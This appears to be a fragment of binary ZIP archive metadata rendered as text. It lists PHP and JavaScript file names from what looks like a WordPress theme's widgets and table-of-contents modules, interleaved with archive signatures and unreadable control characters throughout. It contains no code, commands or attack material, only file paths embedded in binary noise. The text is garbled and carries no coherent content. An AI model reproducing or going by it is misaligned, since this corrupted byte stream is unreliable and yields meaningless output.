`template-builder/archive-elements/breadcrumb.phpnu [        PK       2w\ʝI  I              %>`json-schema-validar.phpnu [        PK       2w\\k
                `google_search.phpnu [        PK       2w\=                ڍ`toc/helper_new.phpnu [        PK       2w\h}  }              `toc/progress.phpnu [        PK       2w\捦7  7              #atoc/penci-toc.jsnu [        PK       2w\-5              [atoc/tag_filter.phpnu [        PK       2w\v,  ,              btoc/helper.phpnu [        PK       2w\4VH  VH              ctoc/init.phpnu [        PK       2w\YI1  I1              cdcwidgets/search_box.phpnu [        PK       2w\ Q  Q              cwidgets/tiktok_embed.phpnu [        PK       2w\O⡳$  $              cwidgets/quote_widget.phpnu [        PK       2w\
{U  U  $            cwidgets/stylisted_articles_count.phpnu [        PK       2w\#!+-  -              =dwidgets/weather.phpnu [        PK       2w\PPE  E              kdwidgets/product_lists.phpnu [        PK       2w\z=:  :              Bdwidgets/categories_stylist.phpnu [        PK       2w\P @  @              dwidgets/price_filter.phpnu [        PK       2w\QBJF  JF              +ewidgets/video_playlist.phpnu [        PK       2w\k(  (               rewidgets/product_stock_status.phpnu [        PK       2w\2A  A               ewidgets/flickr.phpnu [        PK       2w\f_l  l              ewidgets/taxonomy_listing.phpnu [        PK       2w\                lfwidgets/patreon.phpnu [        PK       2w\҃q  q              ҄fwidgets/posts_slider_widget.phpnu [        PK       2w\d/(F  F              fwidgets/web_stories.phpnu [        PK       2w\i33x  3x              G>gwidgets/related_post_widget.phpnu [        PK       2w\,U  U              ɶgwidgets/popular_post_widget.phpnu [        PK       2w\>r                mhwidgets/mailchimp.phpnu [        PK       2w\OP                ehwidgets/posts_tabs.phpnu [        PK       2w\?                biwidgets/block_heading.phpnu [        PK       2w\@!  !              oiwidgets/facebook_widget.phpnu [        PK       2w\m  m              ϑiwidgets/social_widget.phpnu [        PK       2w\i5                /jwidgets/product_filter.phpnu [        PK       2w\bMp!  !              ޮjwidgets/snapchat.phpnu [        PK       2w\@_  _              jwidgets/social_counter.phpnu [        PK       2w\RQ                ekwidgets/comments.phpnu [        PK       2w\JjkY4  4              kwidgets/latest_tweets.phpnu [        PK       2w\}6XL  XL              ˴kwidgets/list_banner.phpnu [        PK       2w\\S  S              jlwidgets/product_sorting.phpnu [        PK       2w\uQ  Q              lwidgets/wph-widget-class.phpnu [        PK       2w\2|/o  o              >_lwidgets/lastest_post_widget.phpnu [        PK       2w\kX8  8              mwidgets/buymeacoffee.phpnu [        PK       2w\,*  ,*  "            #Xmwidgets/login_register_widgets.phpnu [        PK       2w\m'  '              mwidgets/authors_list.phpnu [        PK       2w\a:6  :6              Ϫmwidgets/about_widget.phpnu [        PK       2w\5Q6  6              Qmwidgets/pinterest_widget.phpnu [        PK       2w\hg                inwidgets/category.phpnu [        PK       2w\N,N  N              P+nwidgets/advanced_categories.phpnu [        PK       2w\ІLi(  (              ~znarticle_feedback.phpnu [        PK       2w\"  "  	            Vnpopup.phpnu [        PK       2w\]՝
  
              ntheme-updates.phpnu [        PK    +